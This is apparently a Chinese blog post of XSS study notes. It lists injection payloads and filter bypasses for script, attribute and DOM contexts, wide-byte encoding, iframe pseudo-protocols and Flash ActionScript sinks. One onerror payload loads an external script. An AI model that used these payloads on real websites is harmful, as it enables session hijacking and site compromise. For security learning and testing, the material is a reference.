• XSS学习


    1.什么都没过滤的情况

    ①直接插入<script>alert(1)</script>

    2.输出在<script></script>之间的情况

             ①没过滤尖括号,闭合<script>再插入一个<script>

             ②过滤了尖括号,<script>代码里的构造是的这一段JS依然语法正确

             ③没过滤反斜杠,转义引号后再行构造语

             ④没过滤换行符,输出在注释中%0a换行绕过

    3.输出在HTML属性里的情况

             ①没过滤双引号,闭合双引号,再绑定事件

             ②过滤了双引号,在css中,\+ascii16进制形式绕过,如expr\65ssion。

             ③事件调用JS:<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='js地址';>

    4.当页面是GB系列编码时,宽字节绕过

             ①当双引号被转义,%c0吃掉反斜杠,例:%c0%22.注入双引号

    5. Dom Xss入门 [显式输出],输出在innerHTML或$("#y").html("xxxxxxx")的情况

    ①JS的字符串中的字符可以写为 unicode编码,例如:< 可以表示\x3c 或

    \u003c , > 可以表示为 \u003e或\x3e

    6. Dom Xss进阶

             ①输出不在页面中,在输入中添加特殊符号,如:单双引号 反斜杠,然后在

    console中找错误,进而进入函数内部,输出可能在eval中

             ②输出在iframe的src中,各种伪协议如下↓

    各种双引号内的伪协议:
    1.1 最好懂的,onload执行js
    <iframe onload="alert(1)"></iframe>
    1.2 src 执行javascript代码
    <iframe src="javascript:alert(1)"></iframe>
    1.3 IE下vbscript执行代码
    <iframe src="vbscript:msgbox(1)"></iframe> 
    1.4 Chrome下data协议执行代码
    <iframe src="data:text/html,<script>alert(1)</script>"></iframe> Chrome
    1.5 上面的变体
    <iframe src="data:text/html,&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>
    1.6 Chrome下srcdoc属性
    <iframe srcdoc="&lt;script&gt;alert(1)&lt;/script&gt;"></iframe>

    7. Flash Xss入门

          ①找到存在缺陷的FLASH文件,步骤如下↓

          ②下载Flash文件,再反编译(反编译软件actionscript viewer 2009)然后把AS都保存出来,保存为文本文件。

          ③在AS中找危险函数,如下函数,若link是 "javascript:alert(1)"则导致xss

    (as3.0版本)
    navigateToURL(new URLRequest(link), "_self");
    
    (as2.0版本)
    getURL(link,"_self");

    8.Flash Xss进阶 [ExternalInterface.call第一个参数]

    ①ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的js函数的参数。那么在参数可控的情况下,不论是第一个参数或是后续参数可控,我们均能加以利用实现XSS

             查找缺陷步骤:

    1.    首先确定FLASH是否有接受参数
    2.    as3.0 接受参数的方法,所有参数存放在 root.loaderInfo.parameters 对象里。
    3.    跟踪

    ExternalInterface.call("函数名","参数1")实际是在执行:

    try { __flash__toXML(函数名("参数1")) ; } catch (e) { "<undefined/>"; }
    
    
  • 相关阅读:
    Kappa Architecture: A Different Way to Process Data
    Lambda architecture and Kappa architecture
    Questioning the lambda architecure
    Lambda Architecture: Achieving Velocity and Volume with Big Data
    beego 参数配置
    hadoop 3.1.1 安装
    Idea 切换git账号
    IntelliJ IDEA 开发git多模块项目
    打印1到1亿的平方
    IDEA 逆向工程
  • 原文地址:https://www.cnblogs.com/13ck/p/4460377.html
Copyright © 2020-2023  润新知